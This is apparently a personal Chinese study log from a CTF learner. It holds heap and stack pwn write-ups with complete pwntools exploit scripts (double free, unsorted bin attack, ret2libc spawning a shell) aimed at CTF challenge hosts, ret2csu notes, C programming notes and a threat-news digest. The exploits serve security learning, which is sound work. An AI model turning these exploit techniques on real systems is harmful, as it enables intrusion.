20250707-20250713
20250707-20250713
通过网盘分享的文件：20250707-20250713等2个文件
链接: https://pan.baidu.com/s/1-cZwCQBxBZnGyq2x_ZKsZQ?pwd=di6f 提取码: di6f
--来自百度网盘超级会员v5的分享
题目复现
（polarctf）bllhl_double_free
保护：canary和NX
反编译：简单的菜单堆题，1234对堆进行操作，输入5的时候进行判断，判断0x6020D0里面的值是否和520相等，若相等则执行shell
控制fastbin实现UAF漏洞进行内存操控
#encoding=utf-8
#bllhl_double_free
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = remote("1.95.36.136", 2091)
# io = process("./bllhl_double_free")
elf = ELF("./bllhl_double_free")
def debug():
gdb.attach(io)
pause()
def create(idx,size):
io.sendlineafter(b"you choice:\n",b"1")
io.sendlineafter(b"index:\n",str(idx))
io.sendlineafter(b"size:\n",str(size))
def free(idx):
io.sendlineafter(b"you choice:\n",b"2")
io.sendlineafter(b"index:\n",str(idx))
def edit(idx, size, content):
io.sendlineafter(b"you choice:\n",b"3")
io.sendlineafter(b"index:\n",str(idx))
io.sendlineafter(b"length:\n",str(size))
io.sendlineafter(b"content:\n",content)
def show(idx):
io.sendlineafter(b"you choice:\n",b"4")
io.sendlineafter(b"index:\n",str(idx))
backdoor = 0x6020D0
create(0,0x10)
create(1,0x68)
create(2,0x68)
free(1)
payload = b'a' * 0x10 + p64(0) + p64(0x71) + p64(backdoor - 0x14)
edit(0,len(payload),payload)
#pause()
create(3,0x68)
create(4,0x68)
edit(4, 0x6, b'\x00' * 0x4 + b'\x08\x02')
io.sendlineafter(b"choice:\n",b"5")
io.interactive()
（polarctf）polarmagicheap
unsorted bin attack
直接堆溢出修改unsortedbin的bk指针至后门-0x10处，两次分配之后magic就会被覆盖成一个0x7f开头的值，输入2020触发后门即可
#encoding=utf-8
#bllhl_double_free
#无法本地复现
from pwn import *
from LibcSearcher import *
# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
io = remote("1.95.36.136", 2085)
# io = process("./polarmagicheap")
elf = ELF("./polarmagicheap")
def debug():
gdb.attach(io)
pause()
def create(size,content):
io.sendlineafter(b"Your choice :",b"1")
io.sendlineafter(b"Size of Heap :",str(size))
io.sendlineafter(b"Content of heap:",content)
def show(idx):
io.sendlineafter(b"Your choice :",b"4")
io.sendlineafter(b"index:\n",str(idx))
def edit(idx, size, content):
io.sendlineafter(b"Your choice :",b"2")
io.sendlineafter(b"Index :",str(idx))
io.sendlineafter(b"Size of Heap :",str(size))
io.sendlineafter(b"Content of heap : ",content)
def free(idx):
io.sendlineafter(b"Your choice :",b"3")
io.sendlineafter(b"Index :",str(idx))
backdoor = 0x6020C0
create(0x20,b'aaaa')
create(0x80,b'bbbb')
create(0x20,b'cccc')
free(1)
edit(0,0x40,b'a' * 0x20 + p64(0) + p64(0x91) + p64(0) + p64(backdoor - 0x10))
create(0x80,b'dddd')
io.sendlineafter(b":",b"2020")
io.interactive()
（polarctf）go
开了PIE的简单栈溢出题……
exp：
from pwn import *
io = remote('1.95.36.136',2065)
io.recvuntil('csgo>>>')
win_addr = int(io.recv(14),16)
base_addr = win_addr - 0x960
binsh_addr = base_addr + 0x94D
payload = b'a' * 0x30 + b'a' * 0x8 + p64(binsh_addr)
io.send(payload)
io.interactive()
BCACTF
NSS真会存题……
一个逆向的简单题，剩下三个都是算内存的……可以看看玩玩，更多的是根据提示猜谜底
BCACTF 2024 年 |Pwn-Writeups – InfoSecIITR --- BCACTF 2024 | Pwn-Writeups – InfoSecIITR
总结：更考验出题人，对于选手很友好
（GHCTF2025）Helloworld
PIE
栈溢出修改，栈上结构很巧合，返回值只有最后一个字节是不同的，溢出后改成0xC5即可
（GHCTF2025）ret2libc1
libc栈溢出，只不过写在了一个功能里，开始真的很懒的逆，不过学了会逆向回来再看就没那种害怕的感觉了，沉下心来看看代码吧
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int money = 1000;
int what_can_I_say = 0;
void init();
void menu();
void flower();
void hell_money();
void clothing();
void shop();
void see_it();
void books();
void check_money();
int read_count();
void init(){
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);
}
void menu(){
printf("Welcome to shop, what do you buy?\n");
printf("1.flowers\n");
printf("2.books\n");
printf("3.hell money\n");
printf("4.clothing\n");
printf("5.buy my shop\n");
printf("6.check youer money\n");
}
void flower()
{
unsigned int count;
int choose;
printf("Which kind of flower would you like buy?\n");
printf("1.peony $10\n");
printf("2.rose $100\n");
printf("3.fragrans $20\n");
choose = read_count();
printf("How many flowers do you want to buy?\n");
count = read_count();
switch(choose)
{
case 1:
if(money < count * 10) printf("Don't have enough money\n");
money -=count * 10;
break;
case 2:
if(money < count * 100) printf("Don't have enough money\n");
money -=count * 100;
break;
case 3:
if(money < count * 20) printf("Don't have enough money\n");
money -=count * 20;
break;
default:
printf("Invalid choose\n");
break;
}
}
void books()
{
unsigned int count;
int choose;
printf("Which kind of books would you like buy?\n");
printf("1.story books $10\n");
printf("2.novel books $80\n");
printf("3.note books $20\n");
choose = read_count();
printf("How many books do you want to buy?\n");
count = read_count();
switch(choose)
{
case 1:
if(money < count * 10) printf("Don't have enough money\n");
money -=count * 10;
break;
case 2:
if(money < count * 80) printf("Don't have enough money\n");
money -=count * 80;
break;
case 3:
if(money < count * 20) printf("Don't have enough money\n");
money -=count * 20;
break;
default:
printf("Invalid choose\n");
break;
}
}
void hell_money(){
unsigned int count;
printf("1$ = 1000hell_money\n");
printf("How much do you want to spend buying the hell_money?\n");
count = read_count();
if(money < count)
printf("Don't have enough money\n");
else
what_can_I_say += count*1000;
}
void clothing(){
unsigned int count;
printf("the price of clothing is 50$\n");
printf("How much do you want to buy\n");
count = read_count();
if(money < count * 50)
printf("Don't have enough money\n");
else
money -= 50*count;
}
void shop(){
char name[0x40];
printf("Do you want to buy my shop?\n");
if(money > 100000){
money -= 100000;
printf("give you my shop!!!\n");
printf("You can name it!!!\n");
read(0,name,0x80);
}
else{
printf("roll!\n");
}
}
void see_it(){
unsigned int count;
printf("Barter?!1000$ = 1hell_money\n");
printf("How much do you exchange?");
count = read_count();
what_can_I_say -=count;
money += count * 1000;
}
int read_count(){
char ch[8];
read(0,ch,0x8);
return atoi(ch);
}
void check_money(){
printf("you have %d $\n",money);
printf("you have %d hell_money\n",what_can_I_say);
}
int main(void)
{
char ch[8];
while(1)
{
menu();
switch(read_count())
{
case 1:
flower();
break;
case 2:
books();
break;
case 3:
hell_money();
break;
case 4:
clothing();
break;
case 5:
shop();
break;
case 6:
check_money();
break;
case 7:
see_it();
break;
default:
printf("Invalid choose\n");
break;
}
}
}
逻辑缕完了，重点就是输入7的判断，判断过了就有漏洞点，繁琐的就是接收和发送
之前不会python，觉得好多人的教程，用函数看不懂，现在开发基础跟上来了，感觉以前自己好笨啊……
from pwn import *
#context.log_level='debug'
#context.terminal = ["tmux", "neww"]
#p = process('./ret2libc11')
p = remote('node4.anna.nssctf.cn',28496)
libc = ELF('./libc.so.6')
#gdb.attach(p)
def hell_money(count):
p.sendline(b'3')
p.sendline(str(count).encode('utf-8'))
def see_it(count):
p.sendline(b'7')
p.sendline(str(count).encode('utf-8'))
pop_rdi = 0x400d73
ret = 0x400579
printf_got = 0x602020
func_addr = 0x400B1E
printf_plt = 0x4005A0
hell_money(100)
pause()
see_it(10000)
pause()
p.sendline(b'5')
pause()
payload = b'a'*0x48+p64(ret)+p64(pop_rdi)+p64(printf_got)+p64(printf_plt)
payload += p64(func_addr)
#gdb.attach(p)
pause()
p.sendline(payload)
p.recvuntil(b'it!!!\n')
printf_addr = p.recvline()[:6]
print('printf-->',printf_addr)
printf_addr = int.from_bytes(printf_addr,'little')
libc_addr = printf_addr -libc.symbols['printf']
sys_addr = libc_addr + libc.symbols['system']
sh_addr = libc_addr + next(libc.search(b'/bin/sh'))
payload = b'a'*0x48+p64(pop_rdi)+p64(sh_addr)+p64(sys_addr)
p.sendline(payload)
（长城杯初赛）novel1（未解出）
学习知识：C++的unordered_map、链表结构，存储动态，因为国赛给的docker环境，所以libc要在docker里面找（虽然本地是本地的/lib/x86_64-linux-gnu/libc.so.6）
（学习ing）2025 ciscn novel1详细解析-先知社区
64位NX无canary
C++的代码，也没有什么对象，就是增加逻辑审计难度，不熟悉的话真难读啊
算了， 不贴代码了，学的自己扔ai里分析，简单汇总下逻辑
prologue()
初始化+输出
__int64 chapter(void)：输入数据处理
- 输出几个章节的标题。
- 提示用户输入章节编号。
- 验证输入的章节编号是否在有效范围（1到3）。
- 返回有效的章节编号或处理错误信息。
part1
输入BLOOD，然后输入验证，返回验证信息
part2
在part2中 会把一个bucket里面的element都复制到栈上，最大有0x1f个元素，如果0x1f的元素都在一个bucket中，copy size = 0x1f * 0x8,大于栈上的缓冲区大小，会造成栈溢出
ROPgadget --binary novel1 --only "" |grep rsi
学习笔记（技术文章）
栈对齐
以前的栈对齐都是直接找个ret直接跳过，但是原理不懂，心里不踏实，在分析题目有障碍，遂按本文章深入学习
CTFer成长日记12：栈对齐—获取shell前的临门一脚 - 知乎
动态调试
评论区有过讨论，该大佬当时不会attach打断点，所以用了bash命令，这个也算是互相学习了，他基础扎实，评论区是集成工具的使用
ret功能
- 将 rsp 中保存的值（在这里为 0x7fffffffdf38 ）所指向的内存中的数据（在这里为 0x400596）放入 RIP 中。
- 跳转至 RIP 中保存的地址处。
总结
1、找准XMM,YMM,ZMM的标准，在MOVAPS — Move Aligned Packed Single Precision Floating-Point Values找好汇编指令描述
2、在对应地址使用ret修改栈结构
ret2csu
学习文章：
这个其实就是在程序中一般都会有一段万能的控制参数的gadgets，里面可以控制rbx,rbp,r12,r13,r14,r15以及rdx,rsi,edi的值，并且还可以call我们指定的地址。然后劫持程序执行流的时候，劫持到这个__libc_csu_init函数去执行（这个函数是用来初始化libc的，因此只要是动态链接的程序就都会有这个函数（至少我还没有遇见过特殊情况）），从而达到控制参数的目的。
__libc_csu_init的位置
_start -> __libc_start_main -> __libc_csu_init -> main
利用流程
在该汇编段的末尾如下：
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 mov rdx, r13
.text:0000000000400583 mov rsi, r14
.text:0000000000400586 mov edi, r15d
.text:0000000000400589 call qword ptr [r12+rbx*8]
.text:000000000040058D add rbx, 1
.text:0000000000400591 cmp rbx, rbp
.text:0000000000400594 jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 add rsp, 8
.text:000000000040059A pop rbx
.text:000000000040059B pop rbp
.text:000000000040059C pop r12
.text:000000000040059E pop r13
.text:00000000004005A0 pop r14
.text:00000000004005A2 pop r15
.text:00000000004005A4 retn
.text:00000000004005A4 ; } // starts at 400540
.text:00000000004005A4 __libc_csu_init endp
（温习syscall回来继续学习）
技巧一：利用__libc_csu_init控制rbx rbp r12 r13 r14 r15
技巧二：错位获取pop rsi；pop rdi
缺憾：没有控制rdx的方法
技巧三：利用read和write函数控制rax
技巧四：在输入的时候控制某功能地址到bss段
学习笔记（基础）
scanf使用
%s%f为基础，主要为正则
微软命名方式：函数大驼峰，变量小驼峰
/*
规范：有变量前缀来标志变量类型
例：int nStudentCount ; char cLeavel ; float fScore ; double dblHeight; char szName[20]; int *pTest;
int: n, i ;
char c, ch;
float f, flt;
double d,dbl;
char sz[], str[];
int *p; *lp;
*/
linux命名方式：下划线命名
scanf如果没有限制输入长度，会对后续内存进行破坏，造成程序崩溃或任意代码执行
char szBuf[20] = {0};
//未限制
scanf("%s",szBuf());
//限制后
scanf("%19s",szBuf());
//限制方法
//使用19进行长度限制，
//只能输入0-9，如果输入其他字符，视为截断
scanf("%19[0-9]s",szBuf());
//只能输入0或者9，如果输入其他字符，视为截断
scanf("%19[0,9]s",szBuf());
//其他正则输入自己百度
int n; 的安全隐患
未初始化的值，随机分配地址，可能该地址分给过其他进程，有残留数据，有安全隐患
而且不会有程序清空这块内存，因为清空为0还是1？没有区别的，所以没有人会清
当分配到不可写入内存，不存在的地址，不可访问的地址时，会有内存访问异常报错（即C0000005）（微软环境）
因此，在编程的时候，为了安全不出错，要有初始化的好习惯
/*
规范：有变量前缀来标志变量类型
例：int nStudentCount ; char cLeavel ; float fScore ; double dblHeight; char szName[20]; int *pTest;
int: n, i ; = 0
char c, ch; = '\0'
float f, flt; = 0.0f
double d,dbl; = 0.0
char sz[], str[]; = {0}
int *p; *lp; = NULL
*/
C语言的源码可跨平台
要求一：没有调用某操作系统的专用API接口
要求二：没有调用某平台的私有标准，也就是调用的函数必须都是C语言标准库的才可以跨平台
例如：微软的VS，要求必须用__int64来表示长整型，而不是long int
C语言解析数据的前提：有地址，有数据类型
以前C语言的褒扬：简短精炼
现在程序的要求：信息丰富，注释完整，代码规范，检查严谨
信息的发展和计算机语言的发展
十分一致
古文记录困难，所以言简意赅 纸张诞生之后，文章留存渐多
计算机初期不富裕，以短小精炼为主 x64之后，内存运存空间富裕，以高效为主，要求渐多
编程语言数据类型长度
在数据类型转换，低精度转向高精度
//精度丢失警告
int a = 6.3；
//仍然精度丢失
int a = 6;
float flt = a;
//原因：int为32位，1位表示符号，31位表示内容
//float才24位
/*
数据类型长度不同
在转换的时候会导致数据丢失
*/
VC项目配置
1、安装包选择正确
2、编译（build）-F7，alt + F7设置预编译选项
Precompiled Headers预编译选项关闭
3、工具，选择设置中，最后的格式修改，修改颜色高亮、字体等
4、行号插件VC6LineNumberAddin
快捷键
F7：编译链接
ctrl+F7：只编译，不链接
F9：断点
F5：调试运行
F10：单步跳过，不深入运行过程
F11：单步运行，进入函数内部查看运行
F1：调用MSDN搜索函数使用
debug调试界面调整好位置，16进制编辑器以一行16个的格式放好
科普
微软对于标准库的代码和自己产品的代码态度不同
可以对比MFC 、ATL ：代码质量高，赏心悦目
STL：微软写成了小学生水平
代码规范
if（）{}
whlie(){}
的{}不能省，如果紧跟着的是一个多行实现的宏函数，那么只会实现宏的第一行，剩下的不执行
且该bug在汇编层面才能debug出来
if和switch
switch仅仅只是常量的排序，不过在汇编层面，可以看到最后一步会在一个数组形状的连续地址存储每一个case的地址
基于此，即便是case；乱序，它排序的方式也是有序的，因为地址顺序是按照从小到大排列的
if有命中率，如果把概率更大的判断放在第一个，那么会大幅提高运行效率
循环
求一个十进制数有多少位，log相关，涉及到精度，涉及到小数
ceil（int X）：上取整
floor：下取整
编译对于只有运算，没有变量赋值的text代码，是不进行处理的
效率：效率最高的是do，效率最低的是for
题外话：如果你用着很轻松，说明程序运行的效率很低，因为简化你的操作就要在它的实现上进行操作增加
如果你做的多，那么说明编译器做的事情少，那么效率自然就高
goto的使用
goto在开发过程中是明确禁止使用的，但是在某些场合是必不可少的
一、从多重循环中跳出，在需要多重判断的时候，goto跳转比break要高效，且合理
C语言生态圈中，一些很有趣的技巧会被吸纳进更新中，成为语法，给予支持
所以C++之后都不用goto了，因为goto已经有语法支持了
二、C语言构造异常处理结构
goto模拟循环
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
int main()
{
int n = 15000;
double dblBitCount = 0.0;
int i = 1;
// do
// {
// dblBitCount = dblBitCount = log10(i);
// i++;
// }whlie(i <= n);
DO_BEGIN:
dblBitCount = dblBitCount = log10(i);
i++;
if(i <= n)
{
goto DO_DEGIN;
}
return;
}
题外话：《西游记》的名著原因，为什么同为神仙斗法的封神不是名著？讲了讲“平账大圣”（课上没有这个词，不过bilbil的解读就是这个关键词，一个意思），还有唐僧的袈裟经过黑熊精的手，经过观音的手，原著的诗中描述一对比，少了几个珠子，和后面灵吉菩萨没有收回避风珠对应上了，蛮有趣的
递归（斐波那契数列）
在学习递归的时候，出题人是有问题有责任的，有些题目就不适合用递归解决，所以用的别手，不过潘老师讲的时候还是很贴切的，虽然具体的例子忘记了，但是现在用递归不会卡手
递归适合解决非线性问题
循环适合解决线性问题
搞技术的大猪蹄子属性：你是想一个美女跟你办公桌，还是要一个技术高手和你一个办公桌，一个女技术高手，你是看重她是美女还是看重技术？
答案大多数时候都是技术，这很大猪蹄子哈哈哈哈哈哈哈哈
#include<stdio.h>
#include<stdlib.h>
#include<math.h>
int GetFib(int n)
{
if(n ==1 || n == 2)
{
return 1;
}
return GetFib(n-2) + GetFib(n-1);
}
int main()
{
unsigned int nFib1 = GetFib(1);
unsigned int nFib2 = GetFib(1);
for(int i = 2; i < 47; i++)
{
nFib1 = GetFib(i);
printf("%02d: %15u\t%f\r\n",i-2, nFib1; (double)nFib2 / nFib1);
nFib2 = nFib1;
}
system("pause");
return 0;
}
0019FF28 03 00 00 00 01 00 00 00 02 00 00 00 74 FF 19 00 ............t... //i = 3：0x0019FF28
0019FF38 09 15 40 00 01 00 00 00 90 0E 75 00 90 0D 75 00 .@.......u...u. //nFib1 = 2 0x0019FF2C
0019FF48 20 14 40 00 20 14 40 00 00 E0 26 00 00 00 00 00 .@. .@...&..... //nFib2 = 1 0x0019FF30
0019FF58 00 00 00 00 48 FF 19 00 00 00 00 00 CC FF 19 00 ....H...........
0019FF68 D4 4F 40 00 88 61 42 00 00 00 00 00 84 FF 19 00 設@.坅B.........
0019FF78 49 5D 7E 77 00 E0 26 00 30 5D 7E 77 DC FF 19 00 I]~w..&.0]~w....
0019FF88 AB D1 B1 77 00 E0 26 00 23 D2 AD 3A 00 00 00 00 眞..&.#噎:....
0019FF98 00 00 00 00 00 E0 26 00 00 00 00 00 00 00 00 00 ......&.........
0019FFA8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0019FFB8 00 00 00 00 00 00 00 00 00 00 00 00 90 FF 19 00 ................
0019FFC8 00 00 00 00 E4 FF 19 00 00 24 B3 77 AF E4 08 4D ....
结合了前面可以看到i = 3,nFib1 = 2 ,nFib2 = 1的变量，地址理解+1
回车的实现
打电报的时候
换行是列不变，行+1
回车是复位，回到列的开头
而现在的编辑器，回车其实是\r\n合在一起的效果
那么在调用函数的时候，返回到调用的下一行
用借东西来解释栈结构：
你需要向1换一瓶可乐，1需要酱油
2有酱油，需要棉花
3有棉花，需要泡面
4有泡面，需要……
最后9需要你做5个俯卧撑来交换，
此时你不能直接找1换可乐，你需要回头找8-2一个一个换，才能用酱油换可乐
后问的先交换，先问的后交换，为栈
包括弹夹等情况，都可以通俗易懂的解释栈
x86栈结构生长方向：向零地址生长，所以栈底入栈做加法
函数调用
调用约定干的事
1、按调用约定传递参数
1.1、调用方（caller）需要和背调用方（callee）作出以下约定：
（1）参数传递方向
（2）参数的传输媒介（栈传参，寄存器传参）
（3）函数返回值的位置
（4）有且仅有一方去释放参数空间
__cdecl（C约定）：参数使用栈空间传递，从右往左，函数返回值在寄存器，由调用方负责释放参数空间
__stdcall（std约定）：参数使用栈空间传递，从右往左，函数返回值在寄存器，由被调用方负责释放参数空间
__fastcall（微软独有）：左数前两个参数使用寄存器传递，其他参数使用栈空间传递，从右往左，函数返回值在寄存器，由被调用方负责释放参数空间
2、保存返回地址（返回地址入栈）：返回地址是call <函数名>后面的地址，即函数执行后的地址，为返回地址，保存该地址（在执行完函数之后，要回到这个地址继续执行）
3、保存调用方的栈信息（栈底）
4、更新当前栈底到栈顶。（把当前栈顶作为被调用方的栈底）
5、为局部变量申请空间（抬高栈顶）
如果是调试模式，则申请的代码段会比变量和要大
如果是优化模式和发行版，会比变量或者变量和要小
6、保存寄存器环境（把即将使用的寄存器原值保存在栈里）
在调用函数中，如果有运算需要某个寄存器，比如循环计数，那么值被覆盖，回到原来函数的时候，循环被破坏，所以要把寄存器里面的值保存到栈中，恢复的时候一起恢复
*7、如果编译选项有 /ZI /Z的（调试版的核心选项，功能：启用调试信息），则将局部变量初始化为0xCCCCCCCC
好处：能看出来哪里有没有赋值成功，哪里越界等信息
8、执行函数体
9、恢复寄存器环境
10、释放局部变量的空间
11、恢复调用方的栈底（栈信息）（此时栈顶是之前保存的返回地址）
12A、如果是__cdecl（C约定）：取出当前栈顶作为返回的流程地址，返回到调用方后，由调用方清理参数空间
12B、其他约定：取出当前栈顶作为返回的流程地址，同时由被调方清理参数空间后才返回
安全通告
病毒预警，厂商动态（对厂商的攻击），信息咨询（全球网络安全态势、政策与合规动态、行业技术与趋势）
20250630-20250706
病毒预警
XwormRAT 正在使用隐写技术进行传播
披露时间：2025年7月4日
情报来源：https://asec.ahnlab.com/ko/88785/
相关信息：
AhnLab 安全情报中心（ASEC）通过其“电子邮件蜜罐系统”发现，攻击者正在利用隐写术（Steganography）技巧，通过钓鱼邮件传播 XwormRAT 远程访问木马。攻击者将恶意 VBScript 或 JavaScript 脚本隐藏在看似正常的代码中，这些脚本会进一步调用 PowerShell 脚本，从外部服务器下载并执行最终的恶意载荷。初始脚本使用 Base64 编码和混淆技术来逃避检测。下载的载荷包括一个使用隐写术的 JPG 图片文件，其中隐藏着一个 .NET 加载器。该加载器会从图片的像素数据中提取并解码恶意代码，进而执行 XwormRAT。与早期版本在图片末尾插入 Base64 编码数据不同，新版本利用位图图像的像素数据（RGB 值）来隐藏恶意代码，使其更难以被发现。XwormRAT 具有多种恶意功能，包括信息窃取、远程控制等。
厂商动态（对厂商的攻击）
信息咨询（全球网络安全态势、关键漏洞、政策与合规动态、行业技术与趋势）
（政策）关键信息基础设施商用密码使用管理规定:关键信息基础设施商用密码使用管理规定
（政策）国家标准GB/T 45654—2025《网络安全技术 生成式人工智能服务安全基本要求》
（全球网络安全态势）AI驱动攻击！恶意大模型正推动新一波网络犯罪浪潮
（关键漏洞）黑客可窃听数百万耳机用户：索尼、Bose等主流品牌现重大安全缺陷
（关键漏洞）NightEagle 利用 Microsoft Exchange 漏洞攻击军事和科技部门
披露时间：2025年7月4日
情报来源：https://thehackernews.com/2025/07/nighteagle-apt-exploits-microsoft.html
相关信息：
研究人员揭露了一个名为NightEagle（APT-Q-95）的APT组织，该组织自2023年以来一直活跃，利用Microsoft Exchange服务器的零日漏洞，针对中国的技术和军事部门进行间谍活动。NightEagle的攻击目标包括高科技、芯片半导体、量子技术、人工智能和军事领域，主要目的是收集情报。研究人员在调查中发现，攻击者使用了定制版本的基于Go语言的Chisel工具，该工具被配置为每四小时自动启动一次。
攻击者通过修改开源Chisel工具的源代码，硬编码执行参数，使用指定的用户名和密码，与指定的C2地址的443端口建立socks连接，从而实现内网穿透功能。研究人员还发现，攻击者利用Exchange服务器中的零日漏洞，获取了机器密钥并获得了对Exchange服务器的未经授权访问。
（行业技术与趋势）思科发布新一代AI网络安全产品，主打影子AI防御
日前，思科公司创新推出一款处于早期试用阶段的产品——思科AI防御（Cisco AI Defense），旨在将AI网络安全引入企业安全运营（SecOps）领域，防止影子AI工具在企业网络中被恶意使用，检测企业网络内使用的AI应用及服务是否存在恶意行为，并可自动检测并阻止恶意的大型语言模型（LLM）提示及输出。
思科宣称其差异化优势在于，能在企业对LLM进行微调时自动开展算法安全验证，并自动生成合适的安全防护栏。这得益于从收购的Robust Intelligence公司所获取的知识产权。 据思科介绍，该AI防御结合了多方资源，用户可通过思科云平台执行防护栏强制操作，但产品初上线时仅提供SaaS模式，后续将支持本地部署、边缘计算及物联网设备等，并将与思科的Hypershield网络安全架构集成。
20250707-20250713
病毒预警
Chrome 和 Edge 浏览器恶意扩展程序监视数百万人
披露时间：2025年7月8日
相关信息：
安全研究人员发现，18个恶意浏览器扩展通过Chrome和Edge官方商店传播，总安装量超过200万。这些扩展表面上功能正常，甚至获得好评和推荐，但实际上是“潜伏代理”，在后续更新中被植入恶意代码。一旦激活，它们会在用户每次访问新页面时，捕获URL并发送至远程服务器，再根据指令将用户重定向至恶意网站。例如，用户点击Zoom会议链接时，可能被重定向至伪造的更新页面，诱导下载恶意软件，导致设备完全被控制。尽管多数恶意扩展已被下架，但事件表明，即使从官方商店下载扩展也存在风险。
厂商动态（对厂商的攻击）
信息咨询（全球网络安全态势、政策与合规动态、行业技术与趋势）
（政策与合规动态）中国将牵头制定数据通信领域全球首个抗量子网络安全协议国际标准体系
（政策与合规动态）关注 | 数据流通安全治理典型案例发布
下周目标
pwn题，IOT固件环境，读书笔记添加
浙公网安备 33010602011771号